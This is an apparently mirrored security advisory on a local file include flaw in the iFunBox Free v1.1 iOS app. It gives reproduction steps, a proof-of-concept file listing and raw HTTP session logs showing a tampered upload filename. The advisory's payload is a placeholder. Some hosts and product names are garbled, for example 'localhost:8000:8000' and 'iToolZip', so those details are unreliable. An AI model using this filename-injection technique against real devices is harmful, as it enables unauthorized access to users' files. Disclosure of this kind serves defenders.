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exploit-db-mirror/exploits/ios/webapps/35037.txt
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Document Title:
===============
iFunBox Free v1.1 iOS - File Include Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1344
Release Date:
=============
2014-10-20
Vulnerability Laboratory ID (VL-ID):
====================================
1344
Common Vulnerability Scoring System:
====================================
6.4
Product & Service Introduction:
===============================
iFunBox is a powerful file transfer and manage tool. You can use it to transfer files between Apple devices.
It’s also a full-function file explorer, with user-friendly UI and simple operations.
(Copy of the Homepage: https://itunes.apple.com/de/app/ifunbox-free/id882209383 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official iFunBox Free v1.1 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-10-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Nguyen Anh
Product: iFunBox Free - iOS Mobile Web Application 1.1
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official iFunBox Free v1.1 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with malicious
`filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path include execution occcurs
in the index dir listing of the wifi interface context. The attacker is able to inject the local file include request by usage of the `wifi
interface` in connection with the vulnerable upload request.
Remote attackers are also able to exploit the filename/albumname validation issue in combination with persistent injected script codes to execute
different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the request method to inject is POST.
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4.
Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation
of the local file include web vulnerability results in mobile application or connected device component compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Upload (File)
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] iToolZip Wifi Interface (localhost:80000)
Proof of Concept (PoC):
=======================
The local file include vulnerability can be exploited by local attackers without user interaction or privileged application user account.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
1. Install the mobile app to your local iOS device (iphone or ipad) [https://itunes.apple.com/de/app/ifunbox-free/id882209383]
2. Start the app and push in the right top corner the wifi transfer button
3. Take another device or computer that allows you to access the wifi file transfer interface (localhost:8000)
4. Now, the attacker uploads a file and tampers the request to manipulate the session information live
Note: He injects a payload to request a local file through the vulnerable filename value in the upload POSt emthod request
5. The code execution occurs in the inject in the wifi file dir listing web interface index (localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png)
6. Successful reproduce of the security vulnerability!
PoC: index.html (Name) [createdir?path=]
<div id="main">
<div id="header">
<form action="/files" enctype="multipart/form-data" method="post" class="upload">
<label>Select file:</label>
<input id="newfile" name="newfile" size="40" type="file">
<input name="commit" value="Upload" class="button" type="submit">
</form></div><table border="0" cellpadding="0" cellspacing="0"><thead>
<tr><th>Name</th><th class="del">Download</th><th class="del">Delete</th></tr></thead>
<tbody id="filelist"><tr><td><a class="file"><./[LOCAL FILE INCLUDE VULNERABILITY!].png">./[LOCAL FILE INCLUDE VULNERABILITY!].png</a></td><td class='del'>
<input onclick=downloadPath('%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png') name="commit" type="submit" value="Download" class='button' /></td>
<td class='del'><input onclick=deletePath('%3C./[LOCAL FILE INCLUDE VULNERABILITY!].png%3E2.png') name="commit" type="submit"
value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr><tr class="shadow"><td><a onclick="loadPath('Applications')" class="file">Applications</a></td>
<td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Documents')" class="file">Documents</a></td><td class="del"></td><td class="del"></td></tr>
<tr class="shadow"><td><a onclick="loadPath('Games')" class="file">Games</a></td><td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Musics')"
class="file">Musics</a></td><td class="del"></td><td class="del"></td></tr><tr class="shadow"><td><a onclick="loadPath('Pictures')" class="file">Pictures</a></td>
<td class="del"></td><td class="del"></td></tr><tr><td><a onclick="loadPath('Videos')" class="file">Videos</a></td><td class="del"></td><td class="del"></td></tr></tbody></table>
--- PoC Session Logs [GET] ---
Status: 302[Found]
POST http://localhost:8000:8000/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8000:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8000:8000/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------94243140032725
Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!].png"
Content-Type: image/png
-
Status: 200[OK]
GET http://localhost:8000:8000/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[5753] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8000:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8000:8000/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[5753]
Date[Sun, 19 Oct 2014 17:05:59 GMT]
-
Status: 200[OK]
GET http://localhost:8000:8000/files?p= Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[369] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8000:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[application/json, text/javascript, */*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://localhost:8000:8000/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[369]
Date[Sun, 19 Oct 2014 17:06:00 GMT]
-
Status: 200[OK]
GET http://localhost:8000:8000/./[LOCAL FILE INCLUDE VULNERABILITY!].png Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
Request Header:
Host[localhost:8000:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8000:8000/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Date[Sun, 19 Oct 2014 17:06:01 GMT]
Solution - Fix & Patch:
=======================
The file include web vulnerability can be patched by a secure parse and encode of the filename in the upload POST method request.
To prevent the execution filter the input and restrict it on input but encode also the iToolZip wifi interface file dir list with the vulnerable name output value.
Security Risk:
==============
The security risk of the local file include web vulnerability in the iToolZo wifi web interface is estimated as high. (CVSS 6.4)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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